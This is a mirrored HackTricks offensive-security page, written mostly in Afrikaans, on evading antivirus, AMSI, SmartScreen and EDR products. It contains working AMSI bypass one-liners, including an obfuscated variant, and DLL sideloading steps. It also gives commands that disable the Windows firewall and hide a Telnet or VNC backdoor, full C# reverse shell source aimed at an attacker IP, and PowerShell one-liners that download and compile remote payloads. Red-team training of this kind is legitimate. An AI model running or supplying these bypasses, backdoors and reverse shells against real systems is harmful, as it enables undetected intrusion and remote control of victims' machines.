Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-22 12:43:23 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/windows-hardening/av-bypass.md

35 KiB
Raw Blame History

Antivirus (AV) Bypass

{% hint style="success" %} Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Ondersteun HackTricks
{% endhint %}

Hierdie bladsy is geskryf deur @m2rc_p!

AV Evasie Metodologie

Tans gebruik AV's verskillende metodes om te kontroleer of 'n lêer kwaadwillig is of nie, statiese opsporing, dinamiese analise, en vir die meer gevorderde EDR's, gedragsanalise.

Statiese opsporing

Statiese opsporing word bereik deur bekende kwaadwillige stringe of byte-reekse in 'n binêre of skrip te merk, en ook inligting uit die lêer self te onttrek (bv. lêerbeskrywing, maatskappynaam, digitale handtekeninge, ikoon, kontrole som, ens.). Dit beteken dat die gebruik van bekende openbare gereedskap jou makliker kan laat vang, aangesien hulle waarskynlik geanaliseer en as kwaadwillig gemerk is. Daar is 'n paar maniere om hierdie soort opsporing te omseil:

  • Enkripsie

As jy die binêre enkripteer, sal daar geen manier wees vir AV om jou program te opspoor nie, maar jy sal 'n soort laaier nodig hê om die program in geheue te dekripteer en uit te voer.

  • Obfuskaasie

Soms is al wat jy moet doen, om 'n paar stringe in jou binêre of skrip te verander om dit verby AV te kry, maar dit kan 'n tydrowende taak wees, afhangende van wat jy probeer obfuskeer.

  • Pasgemaakte gereedskap

As jy jou eie gereedskap ontwikkel, sal daar geen bekende slegte handtekeninge wees nie, maar dit neem baie tyd en moeite.

{% hint style="info" %} 'n Goeie manier om teen Windows Defender se statiese opsporing te kontroleer, is ThreatCheck. Dit verdeel basies die lêer in verskeie segmente en vra dan Defender om elkeen individueel te skandeer, sodat dit jou presies kan sê wat die gemerkte stringe of byte in jou binêre is. {% endhint %}

Ek beveel sterk aan dat jy hierdie YouTube-speellys oor praktiese AV Evasie kyk.

Dinamiese analise

Dinamiese analise is wanneer die AV jou binêre in 'n sandbox uitvoer en kyk vir kwaadwillige aktiwiteit (bv. probeer om jou blaaskas se wagwoorde te dekripteer en te lees, 'n minidump op LSASS uit te voer, ens.). Hierdie deel kan 'n bietjie moeiliker wees om mee te werk, maar hier is 'n paar dinge wat jy kan doen om sandboxes te omseil.

  • Slaap voor uitvoering Afhangende van hoe dit geïmplementeer is, kan dit 'n goeie manier wees om AV se dinamiese analise te omseil. AV's het 'n baie kort tyd om lêers te skandeer om nie die gebruiker se werksvloei te onderbreek nie, so die gebruik van lang slape kan die analise van binêre versteur. Die probleem is dat baie AV's sandboxes eenvoudig die slaap kan oorslaan, afhangende van hoe dit geïmplementeer is.
  • Kontroleer masjien se hulpbronne Gewoonlik het sandboxes baie min hulpbronne om mee te werk (bv. < 2GB RAM), anders kan hulle die gebruiker se masjien vertraag. Jy kan ook baie kreatief hier wees, byvoorbeeld deur die CPU se temperatuur of selfs die waaier spoed te kontroleer, nie alles sal in die sandbox geïmplementeer wees nie.
  • Masjien-spesifieke kontroles As jy 'n gebruiker wil teiken wie se werkstasie aan die "contoso.local" domein gekoppel is, kan jy 'n kontrole op die rekenaar se domein doen om te sien of dit ooreenstem met die een wat jy gespesifiseer het, as dit nie is nie, kan jy jou program laat verlaat.

Dit blyk dat Microsoft Defender se Sandbox rekenaarnaam HAL9TH is, so jy kan die rekenaarnaam in jou malware kontroleer voor detonering, as die naam ooreenstem met HAL9TH, beteken dit jy is binne defender se sandbox, so jy kan jou program laat verlaat.

bron: https://youtu.be/StSLxFbVz0M?t=1439

Sommige ander regtig goeie wenke van @mgeeky om teen Sandboxes te gaan

Red Team VX Discord #malware-dev kanaal

Soos ons voorheen in hierdie pos gesê het, openbare gereedskap sal uiteindelik opgespoor word, so jy moet jouself iets vra:

Byvoorbeeld, as jy LSASS wil dump, het jy regtig nodig om mimikatz te gebruik? Of kan jy 'n ander projek gebruik wat minder bekend is en ook LSASS dump.

Die regte antwoord is waarskynlik die laaste. Neem mimikatz as 'n voorbeeld, dit is waarskynlik een van, indien nie die mees gemerkte stuk malware deur AV's en EDR's nie, terwyl die projek self super cool is, is dit ook 'n nagmerrie om daarmee te werk om AV's te omseil, so soek net na alternatiewe vir wat jy probeer bereik.

{% hint style="info" %} Wanneer jy jou payloads vir evasie aanpas, maak seker om outomatiese monster indiening in defender af te skakel, en asseblief, ernstig, LAAT NIE OP VIRUSTOTAL OP NIE as jou doel is om evasie op die lang termyn te bereik. As jy wil kyk of jou payload deur 'n spesifieke AV opgespoor word, installeer dit op 'n VM, probeer om die outomatiese monster indiening af te skakel, en toets dit daar totdat jy tevrede is met die resultaat. {% endhint %}

EXEs vs DLLs

Wanneer dit moontlik is, moet jy altyd prioritiseer om DLLs vir evasie te gebruik, in my ervaring, is DLL-lêers gewoonlik baie minder opgespoor en geanaliseer, so dit is 'n baie eenvoudige truuk om te gebruik om opsporing in sommige gevalle te vermy (as jou payload 'n manier het om as 'n DLL te loop natuurlik).

Soos ons in hierdie beeld kan sien, het 'n DLL Payload van Havoc 'n opsporingskoers van 4/26 in antiscan.me, terwyl die EXE payload 'n 7/26 opsporingskoers het.

antiscan.me vergelyking van 'n normale Havoc EXE payload teen 'n normale Havoc DLL

Nou sal ons 'n paar truuks wys wat jy met DLL-lêers kan gebruik om baie meer stil te wees.

DLL Sideloading & Proxying

DLL Sideloading maak gebruik van die DLL soekorde wat deur die laaier gebruik word deur beide die slagoffer toepassing en kwaadwillige payload(s) langs mekaar te posisioneer.

Jy kan programme wat vatbaar is vir DLL Sideloading kontroleer met Siofra en die volgende powershell skrip:

{% code overflow="wrap" %}

Get-ChildItem -Path "C:\Program Files\" -Filter *.exe -Recurse -File -Name| ForEach-Object {
$binarytoCheck = "C:\Program Files\" + $_
C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hijack -f $binarytoCheck
}

{% endcode %}

Hierdie opdrag sal die lys van programme wat vatbaar is vir DLL-hijacking binne "C:\Program Files\" en die DLL-lêers wat hulle probeer laai, uitset.

Ek beveel sterk aan dat jy DLL Hijackable/Sideloadable programme self verken, hierdie tegniek is redelik stil as dit reg gedoen word, maar as jy publiek bekende DLL Sideloadable programme gebruik, kan jy maklik gevang word.

Net deur 'n kwaadwillige DLL met die naam wat 'n program verwag om te laai, te plaas, sal nie jou payload laai nie, aangesien die program 'n paar spesifieke funksies binne daardie DLL verwag, om hierdie probleem op te los, sal ons 'n ander tegniek gebruik wat DLL Proxying/Forwarding genoem word.

DLL Proxying stuur die oproepe wat 'n program maak van die proxy (en kwaadwillige) DLL na die oorspronklike DLL, wat die program se funksionaliteit behou en in staat is om die uitvoering van jou payload te hanteer.

Ek sal die SharpDLLProxy projek van @flangvik gebruik.

Hierdie is die stappe wat ek gevolg het:

{% code overflow="wrap" %}

1. Find an application vulnerable to DLL Sideloading (siofra or using Process Hacker)
2. Generate some shellcode (I used Havoc C2)
3. (Optional) Encode your shellcode using Shikata Ga Nai (https://github.com/EgeBalci/sgn)
4. Use SharpDLLProxy to create the proxy dll (.\SharpDllProxy.exe --dll .\mimeTools.dll --payload .\demon.bin)

{% endcode %}

Die laaste opdrag sal vir ons 2 lêers gee: 'n DLL bronskode sjabloon, en die oorspronklike hernoemde DLL.

{% code overflow="wrap" %}

5. Create a new visual studio project (C++ DLL), paste the code generated by SharpDLLProxy (Under output_dllname/dllname_pragma.c) and compile. Now you should have a proxy dll which will load the shellcode you've specified and also forward any calls to the original DLL.

{% endcode %}

Hierdie is die resultate:

Beide ons shellcode (gecodeer met SGN) en die proxy DLL het 'n 0/26 Deteksie koers in antiscan.me! Ek sou dit 'n sukses noem.

{% hint style="info" %} Ek beveel sterk aan dat jy S3cur3Th1sSh1t se twitch VOD oor DLL Sideloading kyk en ook ippsec se video om meer te leer oor wat ons in meer detail bespreek het. {% endhint %}

Freeze

Freeze is 'n payload toolkit vir die omseiling van EDRs deur gebruik te maak van gestaakte prosesse, direkte syscalls, en alternatiewe uitvoeringsmetodes

Jy kan Freeze gebruik om jou shellcode op 'n stil manier te laai en uit te voer.

Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freeze.git && cd Freeze && go build Freeze.go)
1. Generate some shellcode, in this case I used Havoc C2.
2. ./Freeze -I demon.bin -encrypt -O demon.exe
3. Profit, no alerts from defender

{% hint style="info" %} Ontwyking is net 'n kat & muis spel, wat vandag werk, kan môre opgespoor word, so moenie net op een hulpmiddel staatmaak nie, as dit moontlik is, probeer om verskeie ontwykings tegnieke te kombineer. {% endhint %}

AMSI (Anti-Malware Scan Interface)

AMSI is geskep om "fileless malware" te voorkom. Aanvanklik was AV's slegs in staat om lêers op skyf te skandeer, so as jy op een of ander manier payloads direk in-geheue kon uitvoer, kon die AV niks doen om dit te voorkom nie, aangesien dit nie genoeg sigbaarheid gehad het nie.

Die AMSI-funksie is geïntegreer in hierdie komponente van Windows.

  • Gebruikersrekeningbeheer, of UAC (verhoging van EXE, COM, MSI, of ActiveX installasie)
  • PowerShell (scripts, interaktiewe gebruik, en dinamiese kode evaluering)
  • Windows Script Host (wscript.exe en cscript.exe)
  • JavaScript en VBScript
  • Office VBA makros

Dit stel antivirusoplossings in staat om skripgedrag te ondersoek deur skripinhoud in 'n vorm bloot te stel wat beide nie-geënkripteer en nie-verbloem is nie.

Die uitvoering van IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1') sal die volgende waarskuwing op Windows Defender produseer.

Let op hoe dit amsi: voorafgaan en dan die pad na die uitvoerbare lêer waarvan die skrip gedraai het, in hierdie geval, powershell.exe

Ons het nie enige lêer op skyf gelaat nie, maar is steeds in-geheue gevang weens AMSI.

Daar is 'n paar maniere om rondom AMSI te kom:

  • Obfuskaasie

Aangesien AMSI hoofsaaklik met statiese opsporings werk, kan dit dus 'n goeie manier wees om die skripte wat jy probeer laai te wysig om opsporing te ontwyk.

Echter, AMSI het die vermoë om skripte te ontbloem selfs al het dit verskeie lae, so obfuskaasie kan 'n slegte opsie wees, afhangende van hoe dit gedoen word. Dit maak dit nie so eenvoudig om te ontwyk nie. Alhoewel, soms is al wat jy moet doen, om 'n paar veranderlikes se name te verander en jy sal reg wees, so dit hang af van hoeveel iets gemerk is.

  • AMSI Ontwyking

Aangesien AMSI geïmplementeer word deur 'n DLL in die powershell (ook cscript.exe, wscript.exe, ens.) proses te laai, is dit moontlik om dit maklik te manipuleer selfs terwyl jy as 'n nie-bevoegde gebruiker loop. Vanweë hierdie fout in die implementering van AMSI, het navorsers verskeie maniere gevind om AMSI skandering te ontwyk.

Dwing 'n Fout

Om die AMSI-initialisering te dwing om te misluk (amsiInitFailed) sal daartoe lei dat geen skandering vir die huidige proses geïnisieer sal word nie. Oorspronklik is dit bekend gemaak deur Matt Graeber en Microsoft het 'n handtekening ontwikkel om breër gebruik te voorkom.

{% code overflow="wrap" %}

[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

{% endcode %}

Alles wat nodig was, was een lyn van powershell kode om AMSI onbruikbaar te maak vir die huidige powershell proses. Hierdie lyn is natuurlik deur AMSI self gemerk, so 'n paar wysigings is nodig om hierdie tegniek te gebruik.

Hier is 'n gewysigde AMSI omseiling wat ek van hierdie Github Gist geneem het.

Try{#Ams1 bypass technic nº 2
$Xdatabase = 'Utils';$Homedrive = 'si'
$ComponentDeviceId = "N`onP" + "ubl`ic" -join ''
$DiskMgr = 'Syst+@.M£n£g' + 'e@+nt.Auto@' + '£tion.A' -join ''
$fdx = '@ms' + '£In£' + 'tF@£' + 'l+d' -Join '';Start-Sleep -Milliseconds 300
$CleanUp = $DiskMgr.Replace('@','m').Replace('£','a').Replace('+','e')
$Rawdata = $fdx.Replace('@','a').Replace('£','i').Replace('+','e')
$SDcleanup = [Ref].Assembly.GetType(('{0}m{1}{2}' -f $CleanUp,$Homedrive,$Xdatabase))
$Spotfix = $SDcleanup.GetField($Rawdata,"$ComponentDeviceId,Static")
$Spotfix.SetValue($null,$true)
}Catch{Throw $_}

Hou in gedagte dat dit waarskynlik gemeld sal word sodra hierdie pos uitkom, so jy moet nie enige kode publiseer as jou plan is om onopgemerk te bly nie.

Geheue Patching

Hierdie tegniek is aanvanklik ontdek deur @RastaMouse en dit behels die vind van die adres vir die "AmsiScanBuffer" funksie in amsi.dll (verantwoordelik vir die skandering van die gebruiker-geleverde invoer) en dit oorskryf met instruksies om die kode vir E_INVALIDARG terug te gee, sodat die resultaat van die werklike skandering 0 sal wees, wat geïnterpreteer word as 'n skoon resultaat.

{% hint style="info" %} Lees asseblief https://rastamouse.me/memory-patching-amsi-bypass/ vir 'n meer gedetailleerde verduideliking. {% endhint %}

Daar is ook baie ander tegnieke wat gebruik word om AMSI met powershell te omseil, kyk na hierdie bladsy en hierdie repo om meer daaroor te leer.

Of hierdie skrip wat via geheue patching elke nuwe Powersh sal patch.

Obfuskaasie

Daar is verskeie gereedskap wat gebruik kan word om C# duidelike tekskode te obfuskeer, metaprogrammering templates te genereer om binêre te kompileer of gecompileerde binêre te obfuskeer soos:

  • InvisibilityCloak: C# obfuskeerder
  • Obfuscator-LLVM: Die doel van hierdie projek is om 'n oopbron-fork van die LLVM kompilasiesuite te bied wat in staat is om verhoogde sagteware-sekuriteit te bied deur middel van kode obfuskaasie en tamper-proofing.
  • ADVobfuscator: ADVobfuscator demonstreer hoe om C++11/14 taal te gebruik om, tydens kompilering, obfuskeerde kode te genereer sonder om enige eksterne gereedskap te gebruik en sonder om die kompilateur te wysig.
  • obfy: Voeg 'n laag van obfuskeerde operasies by wat gegenereer word deur die C++ template metaprogrammering raamwerk wat die lewe van die persoon wat die toepassing wil kraak 'n bietjie moeiliker sal maak.
  • Alcatraz: Alcatraz is 'n x64 binêre obfuskeerder wat in staat is om verskillende pe-lêers te obfuskeer, insluitend: .exe, .dll, .sys
  • metame: Metame is 'n eenvoudige metamorfiese kode enjin vir arbitrêre uitvoerbare lêers.
  • ropfuscator: ROPfuscator is 'n fyn-granulêre kode obfuskaasie raamwerk vir LLVM-ondersteunde tale wat ROP (return-oriented programming) gebruik. ROPfuscator obfuskeer 'n program op die assembly kode vlak deur gewone instruksies in ROP-kettings te transformeer, wat ons natuurlike begrip van normale kontrole vloei verhoed.
  • Nimcrypt: Nimcrypt is 'n .NET PE Crypter geskryf in Nim.
  • inceptor: Inceptor is in staat om bestaande EXE/DLL in shellcode te omskakel en dit dan te laai.

SmartScreen & MoTW

Jy het dalk hierdie skerm gesien toe jy sekere uitvoerbare lêers van die internet afgelaai en uitgevoer het.

Microsoft Defender SmartScreen is 'n sekuriteitsmeganisme wat bedoel is om die eindgebruiker te beskerm teen die uitvoering van potensieel kwaadwillige toepassings.

SmartScreen werk hoofsaaklik met 'n reputasie-gebaseerde benadering, wat beteken dat ongewoon afgelaaide toepassings SmartScreen sal aktiveer, wat die eindgebruiker waarsku en verhoed om die lêer uit te voer (alhoewel die lêer steeds uitgevoer kan word deur op Meer Inligting -> Voer steeds uit te klik).

MoTW (Merk van die Web) is 'n NTFS Alternatiewe Data Stroom met die naam van Zone.Identifier wat outomaties geskep word wanneer lêers van die internet afgelaai word, saam met die URL waarvandaan dit afgelaai is.

Kontroleer die Zone.Identifier ADS vir 'n lêer wat van die internet afgelaai is.

{% hint style="info" %} Dit is belangrik om te noem dat uitvoerbare lêers wat met 'n betroubare ondertekeningssertifikaat nie SmartScreen sal aktiveer nie. {% endhint %}

'n Baie effektiewe manier om te verhoed dat jou payloads die Merk van die Web kry, is om dit in 'n soort houer soos 'n ISO te verpakkie. Dit gebeur omdat die Merk-van-die-Web (MOTW) nie op nie NTFS volumes toegepas kan word nie.

PackMyPayload is 'n gereedskap wat payloads in uitvoerhouers verpakkie om die Merk-van-die-Web te ontwyk.

Voorbeeld gebruik:

PS C:\Tools\PackMyPayload> python .\PackMyPayload.py .\TotallyLegitApp.exe container.iso

+      o     +              o   +      o     +              o
+             o     +           +             o     +         +
o  +           +        +           o  +           +          o
-_-^-^-^-^-^-^-^-^-^-^-^-^-^-^-^-^-_-_-_-_-_-_-_,------,      o
:: PACK MY PAYLOAD (1.1.0)       -_-_-_-_-_-_-|   /\_/\
for all your container cravings   -_-_-_-_-_-~|__( ^ .^)  +    +
-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-__-_-_-_-_-_-_-''  ''
+      o         o   +       o       +      o         o   +       o
+      o            +      o    ~   Mariusz Banach / mgeeky    o
o      ~     +           ~          <mb [at] binary-offensive.com>
o           +                         o           +           +

[.] Packaging input file to output .iso (iso)...
Burning file onto ISO:
Adding file: /TotallyLegitApp.exe

[+] Generated file written to (size: 3420160): container.iso

Hier is 'n demo om SmartScreen te omseil deur payloads binne ISO-lêers te verpakkie met behulp van PackMyPayload

C# Assembly Reflection

Om C# binêre lêers in geheue te laai is al 'n geruime tyd bekend en dit is steeds 'n baie goeie manier om jou post-exploitation gereedskap te laat loop sonder om deur AV gevang te word.

Aangesien die payload direk in geheue gelaai sal word sonder om die skyf te raak, sal ons net bekommerd wees oor die patching van AMSI vir die hele proses.

Meeste C2-raamwerke (sliver, Covenant, metasploit, CobaltStrike, Havoc, ens.) bied reeds die vermoë om C# assemblies direk in geheue uit te voer, maar daar is verskillende maniere om dit te doen:

  • Fork&Run

Dit behels die ontstaan van 'n nuwe offer proses, spuit jou post-exploitation kwaadwillige kode in daardie nuwe proses, voer jou kwaadwillige kode uit en wanneer dit klaar is, dood die nuwe proses. Dit het beide sy voordele en nadele. Die voordeel van die fork en run metode is dat uitvoering buitend ons Beacon implanteer proses plaasvind. Dit beteken dat as iets in ons post-exploitation aksie verkeerd gaan of gevang word, daar 'n veel groter kans is dat ons implantaat oorleef. Die nadeel is dat jy 'n groter kans het om deur Gedragsdeteksies gevang te word.

  • Inline

Dit gaan oor die spuit van die post-exploitation kwaadwillige kode in sy eie proses. Op hierdie manier kan jy vermy om 'n nuwe proses te skep en dit deur AV te laat skandeer, maar die nadeel is dat as iets verkeerd gaan met die uitvoering van jou payload, daar 'n veel groter kans is om jou beacon te verloor aangesien dit kan neerstort.

{% hint style="info" %} As jy meer wil lees oor C# Assembly laai, kyk asseblief na hierdie artikel https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/ en hul InlineExecute-Assembly BOF (https://github.com/xforcered/InlineExecute-Assembly) {% endhint %}

Jy kan ook C# Assemblies van PowerShell laai, kyk na Invoke-SharpLoader en S3cur3th1sSh1t se video.

Gebruik van Ander Programmeertale

Soos voorgestel in https://github.com/deeexcee-io/LOI-Bins, is dit moontlik om kwaadwillige kode uit te voer met behulp van ander tale deur die gecompromitteerde masjien toegang te gee tot die interpreter omgewing wat op die Aanvaller Beheerde SMB deel geïnstalleer is.

Deur toegang tot die Interpreter Binaries en die omgewing op die SMB deel toe te laat, kan jy arbitraire kode in hierdie tale binne die geheue van die gecompromitteerde masjien uitvoer.

Die repo dui aan: Defender skandeer steeds die skrifte, maar deur Go, Java, PHP ens. te benut het ons meer buigsaamheid om statiese handtekeninge te omseil. Toetsing met ewekansige on-obfuscated reverse shell skrifte in hierdie tale het suksesvol geblyk.

Gevorderde Ontwyking

Ontwyking is 'n baie ingewikkelde onderwerp, soms moet jy baie verskillende bronne van telemetrie in net een stelsel in ag neem, so dit is feitlik onmoontlik om heeltemal onopgemerk te bly in volwasse omgewings.

Elke omgewing wat jy teenaan gaan, sal sy eie sterkpunte en swakpunte hê.

Ek moedig jou sterk aan om hierdie praatjie van @ATTL4S te kyk, om 'n voet aan die grond te kry in meer Gevorderde Ontwyking tegnieke.

{% embed url="https://vimeo.com/502507556?embedded=true&owner=32913914&source=vimeo_logo" %}

Dit is ook 'n ander goeie praatjie van @mariuszbit oor Ontwyking in Diepte.

{% embed url="https://www.youtube.com/watch?v=IbA7Ung39o4" %}

Ou Tegnieke

Kontroleer watter dele Defender as kwaadwillig vind

Jy kan ThreatCheck gebruik wat dele van die binêre lêer sal verwyder totdat dit uitvind watter deel Defender as kwaadwillig vind en dit aan jou sal skei.
Nog 'n hulpmiddel wat die selfde ding doen is avred met 'n oop web wat die diens aanbied in https://avred.r00ted.ch/

Telnet Bediening

Tot Windows10, het alle Windows met 'n Telnet bediener gekom wat jy kon installeer (as administrateur) deur:

pkgmgr /iu:"TelnetServer" /quiet

Maak dit begin wanneer die stelsel begin en hardloop dit nou:

sc config TlntSVR start= auto obj= localsystem

Verander telnet-poort (stealth) en deaktiveer firewall:

tlntadmn config port=80
netsh advfirewall set allprofiles state off

UltraVNC

Download dit van: http://www.uvnc.com/downloads/ultravnc.html (jy wil die bin-aflaai hê, nie die installasie nie)

OP DIE GASHEER: Voer winvnc.exe uit en konfigureer die bediener:

  • Aktiveer die opsie Deaktiveer TrayIcon
  • Stel 'n wagwoord in VNC Wagwoord
  • Stel 'n wagwoord in Slegs Kyk Wagwoord

Beweeg dan die binêre winvnc.exe en nuut geskepte lêer UltraVNC.ini binne die slagoffer

Omgekeerde verbinding

Die aanvaller moet binne sy gasheer die binêre vncviewer.exe -listen 5900 uitvoer sodat dit voorbereid sal wees om 'n omgekeerde VNC-verbinding te vang. Dan, binne die slagoffer: Begin die winvnc daemon winvnc.exe -run en voer winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900 uit

WAARSKUWING: Om stealth te handhaaf moet jy 'n paar dinge nie doen nie

  • Moet nie winvnc begin as dit reeds loop nie of jy sal 'n popup aktiveer. kyk of dit loop met tasklist | findstr winvnc
  • Moet nie winvnc begin sonder UltraVNC.ini in dieselfde gids nie of dit sal die konfigurasievenster oopmaak
  • Moet nie winvnc -h vir hulp uitvoer nie of jy sal 'n popup aktiveer

GreatSCT

Download dit van: https://github.com/GreatSCT/GreatSCT

git clone https://github.com/GreatSCT/GreatSCT.git
cd GreatSCT/setup/
./setup.sh
cd ..
./GreatSCT.py

Binne GreatSCT:

use 1
list #Listing available payloads
use 9 #rev_tcp.py
set lhost 10.10.14.0
sel lport 4444
generate #payload is the default name
#This will generate a meterpreter xml and a rcc file for msfconsole

Nou begin die lister met msfconsole -r file.rc en voer die xml payload uit met:

C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe payload.xml

Huidige verdediger sal die proses baie vinnig beëindig.

Ons eie omgekeerde dop saamstel

https://medium.com/@Bank_Security/undetectable-c-c-reverse-shells-fab4c0ec4f15

Eerste C# Omgekeerde dop

Stel dit saam met:

c:\windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /t:exe /out:back2.exe C:\Users\Public\Documents\Back1.cs.txt

Gebruik dit met:

back.exe <ATTACKER_IP> <PORT>

// From https://gist.githubusercontent.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc/raw/1b6c32ef6322122a98a1912a794b48788edf6bad/Simple_Rev_Shell.cs
using System;
using System.Text;
using System.IO;
using System.Diagnostics;
using System.ComponentModel;
using System.Linq;
using System.Net;
using System.Net.Sockets;


namespace ConnectBack
{
public class Program
{
static StreamWriter streamWriter;

public static void Main(string[] args)
{
using(TcpClient client = new TcpClient(args[0], System.Convert.ToInt32(args[1])))
{
using(Stream stream = client.GetStream())
{
using(StreamReader rdr = new StreamReader(stream))
{
streamWriter = new StreamWriter(stream);

StringBuilder strInput = new StringBuilder();

Process p = new Process();
p.StartInfo.FileName = "cmd.exe";
p.StartInfo.CreateNoWindow = true;
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.RedirectStandardInput = true;
p.StartInfo.RedirectStandardError = true;
p.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler);
p.Start();
p.BeginOutputReadLine();

while(true)
{
strInput.Append(rdr.ReadLine());
//strInput.Append("\n");
p.StandardInput.WriteLine(strInput);
strInput.Remove(0, strInput.Length);
}
}
}
}
}

private static void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine)
{
StringBuilder strOutput = new StringBuilder();

if (!String.IsNullOrEmpty(outLine.Data))
{
try
{
strOutput.Append(outLine.Data);
streamWriter.WriteLine(strOutput);
streamWriter.Flush();
}
catch (Exception err) { }
}
}

}
}

C# gebruik van die kompilator

C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt.txt REV.shell.txt

REV.txt: https://gist.github.com/BankSecurity/812060a13e57c815abe21ef04857b066

REV.shell: https://gist.github.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639

Outomatiese aflaai en uitvoering:

64bit:
powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/812060a13e57c815abe21ef04857b066/raw/81cd8d4b15925735ea32dff1ce5967ec42618edc/REV.txt', '.\REV.txt') }" && powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639/raw/4137019e70ab93c1f993ce16ecc7d7d07aa2463f/Rev.Shell', '.\Rev.Shell') }" && C:\Windows\Microsoft.Net\Framework64\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt Rev.Shell

32bit:
powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/812060a13e57c815abe21ef04857b066/raw/81cd8d4b15925735ea32dff1ce5967ec42618edc/REV.txt', '.\REV.txt') }" && powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639/raw/4137019e70ab93c1f993ce16ecc7d7d07aa2463f/Rev.Shell', '.\Rev.Shell') }" && C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt Rev.Shell

{% embed url="https://gist.github.com/BankSecurity/469ac5f9944ed1b8c39129dc0037bb8f" %}

C# obfuscators lys: https://github.com/NotPrab/.NET-Obfuscator

C++

sudo apt-get install mingw-w64

i686-w64-mingw32-g++ prometheus.cpp -o prometheus.exe -lws2_32 -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc

Gebruik python vir die bou van injectors voorbeeld:

Ander gereedskap

# Veil Framework:
https://github.com/Veil-Framework/Veil

# Shellter
https://www.shellterproject.com/download/

# Sharpshooter
# https://github.com/mdsecactivebreach/SharpShooter
# Javascript Payload Stageless:
SharpShooter.py --stageless --dotnetver 4 --payload js --output foo --rawscfile ./raw.txt --sandbox 1=contoso,2,3

# Stageless HTA Payload:
SharpShooter.py --stageless --dotnetver 2 --payload hta --output foo --rawscfile ./raw.txt --sandbox 4 --smuggle --template mcafee

# Staged VBS:
SharpShooter.py --payload vbs --delivery both --output foo --web http://www.foo.bar/shellcode.payload --dns bar.foo --shellcode --scfile ./csharpsc.txt --sandbox 1=contoso --smuggle --template mcafee --dotnetver 4

# Donut:
https://github.com/TheWover/donut

# Vulcan
https://github.com/praetorian-code/vulcan

Meer

{% hint style="success" %} Leer & oefen AWS Hacking:HackTricks Opleiding AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Opleiding GCP Red Team Expert (GRTE)

Ondersteun HackTricks
{% endhint %}